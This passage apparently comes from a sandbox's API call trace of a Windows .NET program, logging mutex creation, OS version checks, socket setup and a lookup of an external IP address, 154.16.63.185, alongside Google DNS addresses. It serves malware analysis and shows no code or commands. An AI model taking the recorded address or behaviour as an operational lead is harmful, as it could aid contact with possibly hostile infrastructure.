(hKey=0x2ec) returned 0x0 [0193.053] GetVersionExW (in: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0193.053] GetLastError () returned 0x0 [0193.053] GetVersionExW (in: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0193.053] GetLastError () returned 0x0 [0193.055] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24540e4, cbSid=0x18e730 | out: pSid=0x24540e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1 [0193.055] GetLastError () returned 0x0 [0193.055] CreateMutexW (lpMutexAttributes=0x245421c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.055] GetLastError () returned 0x0 [0193.056] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x1f4) returned 0x0 [0193.056] GetLastError () returned 0x0 [0193.056] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24543f0, cbSid=0x18e6f0 | out: pSid=0x24543f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e6f0) returned 1 [0193.056] GetLastError () returned 0x0 [0193.056] CreateMutexW (lpMutexAttributes=0x2454500, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0193.056] GetLastError () returned 0x5 [0193.057] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x2f4 [0193.057] GetLastError () returned 0x5 [0193.057] GetProcessTimes (in: hProcess=0x2f4, lpCreationTime=0x18e6f4, lpExitTime=0x18e6ec, lpKernelTime=0x18e6ec, lpUserTime=0x18e6ec | out: lpCreationTime=0x18e6f4, lpExitTime=0x18e6ec, lpKernelTime=0x18e6ec, lpUserTime=0x18e6ec) returned 1 [0193.057] GetLastError () returned 0x5 [0193.057] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2454e08, cbSid=0x18e730 | out: pSid=0x2454e08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1 [0193.057] GetLastError () returned 0x5 [0193.058] CreateMutexW (lpMutexAttributes=0x2454f18, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.058] GetLastError () returned 0x0 [0193.058] ReleaseMutex (hMutex=0x2ec) returned 1 [0193.058] GetLastError () returned 0x0 [0193.058] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x245569c, cbSid=0x18e730 | out: pSid=0x245569c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1 [0193.058] GetLastError () returned 0x0 [0193.058] CreateMutexW (lpMutexAttributes=0x24557ac, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.058] GetLastError () returned 0x0 [0193.058] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2455f34, cbSid=0x18e730 | out: pSid=0x2455f34*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1 [0193.058] GetLastError () returned 0x0 [0193.059] CreateMutexW (lpMutexAttributes=0x2456044, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.059] GetLastError () returned 0x0 [0193.059] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24567c4, cbSid=0x18e730 | out: pSid=0x24567c4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e730) returned 1 [0193.059] GetLastError () returned 0x0 [0193.059] CreateMutexW (lpMutexAttributes=0x24568d4, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.059] GetLastError () returned 0x0 [0193.059] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2457050, cbSid=0x18e728 | out: pSid=0x2457050*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1 [0193.059] GetLastError () returned 0x0 [0193.060] CreateMutexW (lpMutexAttributes=0x2457160, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.060] GetLastError () returned 0x0 [0193.060] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24578e8, cbSid=0x18e728 | out: pSid=0x24578e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1 [0193.060] GetLastError () returned 0x0 [0193.060] CreateMutexW (lpMutexAttributes=0x24579f8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.060] GetLastError () returned 0x0 [0193.060] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x245815c, cbSid=0x18e728 | out: pSid=0x245815c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1 [0193.060] GetLastError () returned 0x0 [0193.060] CreateMutexW (lpMutexAttributes=0x245826c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.061] GetLastError () returned 0x0 [0193.061] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24589e0, cbSid=0x18e728 | out: pSid=0x24589e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1 [0193.061] GetLastError () returned 0x0 [0193.061] CreateMutexW (lpMutexAttributes=0x2458af0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.061] GetLastError () returned 0x0 [0193.061] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x245925c, cbSid=0x18e728 | out: pSid=0x245925c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x18e728) returned 1 [0193.061] GetLastError () returned 0x0 [0193.061] CreateMutexW (lpMutexAttributes=0x245936c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x2ec [0193.061] GetLastError () returned 0x0 [0193.265] inet_addr (cp="8.8.8.8") returned 0x8080808 [0193.265] GetLastError () returned 0x0 [0193.266] inet_addr (cp="8.8.4.4") returned 0x4040808 [0193.266] GetLastError () returned 0x0 [0193.597] inet_addr (cp="154.16.63.185") returned 0xb93f109a [0193.597] GetLastError () returned 0x0 [0193.641] GetCurrentProcess () returned 0xffffffff [0193.641] GetLastError () returned 0x3f0 [0193.641] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18d2e4 | out: TokenHandle=0x18d2e4*=0x2ec) returned 1 [0193.641] GetLastError () returned 0x3f0 [0193.647] GetCurrentProcess () returned 0xffffffff [0193.647] GetLastError () returned 0x3f0 [0193.647] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18d2f4 | out: TokenHandle=0x18d2f4*=0x2f4) returned 1 [0193.647] GetLastError () returned 0x3f0 [0193.658] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2f8 [0193.658] GetLastError () returned 0x0 [0193.813] setsockopt (s=0x2f8, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0193.813] GetLastError () returned 0x0 [0194.049] bind (s=0x2f8, addr=0x24db00c*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0194.049] GetLastError () returned 0x0 [0194.052] WSAIoctl (in: s=0x2f8, dwIoControlCode=0xc8000006, lpvInBuffer=0x18e8ac, cbInBuffer=0x10, lpvOutBuffer=0x18e8c0, cbOutBuffer=0x4, lpcbBytesReturned=0x18e8bc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x18e8c0, lpcbBytesReturned=0x18e8bc, lpOverlapped=0x0) returned 0 [0194.052] GetLastError () returned 0x0 [0194.067] PeekMessageW (in: lpMsg=0x18f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18f204) returned 0 [0194.068] PeekMessageW (in: lpMsg=0x18f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18f204) returned 0 [0194.068] WaitMessage () Thread: id = 14 os_tid = 0x0 Thread: id = 15 os_tid = 0xb00 Thread: id = 16 os_tid = 0xb04 [0150.629] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.702] RegCloseKey (hKey=0x1f0) returned 0x0 [0187.703] LocalFree (hMem=0x650700) returned 0x0 [0187.703] GetLastError () returned 0x0 [0187.703] RegCloseKey (hKey=0x200) returned 0x0 [0187.703] RegCloseKey (hKey=0x204) returned 0x0 [0187.703] LocalFree (hMem=0x6506f0) returned 0x0 [0187.703] GetLastError () returned 0x0 [0187.703] CloseHandle (hObject=0x22c) returned 1 [0187.703] GetLastError () returned 0x0 [0187.703] CloseHandle (hObject=0x224) returned 1 [0187.704] GetLastError () returned 0x0 [0187.704] CloseHandle (hObject=0x1f4) returned 1 [0187.704] GetLastError () returned 0x0 [0194.707] CloseHandle (hObject=0x2e4) returned 1 [0194.707] GetLastError () returned 0x0 [0194.708] CloseHandle (hObject=0x2ec) returned 1 [0194.708] GetLastError () returned 0x0 [0194.708] CloseHandle (hObject=0x2e0) returned 1 [0194.708] GetLastError () returned 0x0 [0194.708] CloseHandle (hObject=0x2dc) returned 1 [0194.708] GetLastError () returned 0x0 [0194.708] CloseHandle (hObject=0x2d8) returned 1 [0194.708] GetLastError () returned 0x0 [0194.709] CloseHandle (hObject=0x2d0) returned 1 [0194.709] GetLastError () returned 0x0 [0194.709] CloseHandle (hObject=0x2d4) returned 1 [0194.709] GetLastError () returned 0x0 [0194.709] CloseHandle (hObject=0x2cc) returned 1 [0194.709] GetLastError () returned 0x0 [0194.717] CloseHandle (hObject=0x2f4) returned 1 [0194.717] GetLastError () returned 0x0 [0194.717] CloseHandle (hObject=0x2e8) returned 1 [0194.717] GetLastError () returned 0x0 Thread: id = 17 os_tid = 0xb08 [0162.187] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0162.219] SetConsoleCtrlHandler (HandlerRoutine=0x59863a, Add=1) returned 1 [0162.220] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0162.220] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0162.242] GetClassInfoW (in: hInstance=0x400000, lpClassName=".NET-BroadcastEventWindow.2.0.0.0.378734a.0", lpWndClass=0x22fa3d0 | out: lpWndClass=0x22fa3d0) returned 0 [0162.245] CoTaskMemAlloc (cb=0x58) returned 0x650a10 [0162.245] RegisterClassW (lpWndClass=0x667378) returned 0xc134 [0162.245] GetLastError () returned 0x583 [0162.245] CoTaskMemFree (pv=0x650a10) [0162.246] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.2.0.0.0.378734a.0", lpWindowName=".NET-BroadcastEventWindow.2.0.0.0.378734a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60132 [0162.247] NtdllDefWindowProc_W () returned 0x1 [0162.248] NtdllDefWindowProc_W () returned 0x0 [0162.248] NtdllDefWindowProc_W () returned 0x0 [0162.248] NtdllDefWindowProc_W () returned 0x0 [0162.248] NtdllDefWindowProc_W () returned 0x0 [0162.248] GetLastError () returned 0x0 [0162.276] SetEvent (hEvent=0x1b0) returned 1 [0162.277] GetLastError () returned 0x0 [0162.310] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0162.422] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0162.547] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0162.672] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0162.796] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0162.921] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0163.049] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0163.171] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0163.561] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0163.732] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0163.857] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0163.983] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0164.107] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0164.231] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0164.356] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0164.481] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0164.606] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0164.731] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0164.856] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0164.980] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0165.105] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0165.230] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0165.355] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0165.480] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0165.604] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0165.729] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0165.854] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0165.979] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0166.104] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0166.228] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0166.353] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0166.478] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0166.603] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0166.728] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0166.852] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0166.978] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0167.102] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0167.227] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0167.351] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0167.476] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0167.618] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0167.741] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0167.866] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0167.991] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0168.117] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0168.241] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0168.365] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0168.490] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0168.615] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0168.740] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0168.865] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0168.989] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0169.114] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0169.239] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0169.364] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0169.489] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0169.630] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0169.754] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0169.879] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0170.003] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0170.134] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0170.253] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0170.378] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0170.503] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0170.627] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0170.752] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0170.877] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0171.007] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0171.127] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0171.252] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0171.408] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0172.094] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0172.389] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0172.499] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0172.624] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0172.749] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0172.874] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0172.999] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0173.124] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0173.357] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0173.482] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0173.607] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0173.732] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0173.857] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0173.981] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0174.106] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0174.236] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0174.356] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0174.481] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0174.606] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0174.730] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0174.855] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0174.983] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0175.110] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0175.229] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0175.354] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0175.479] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0175.604] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, 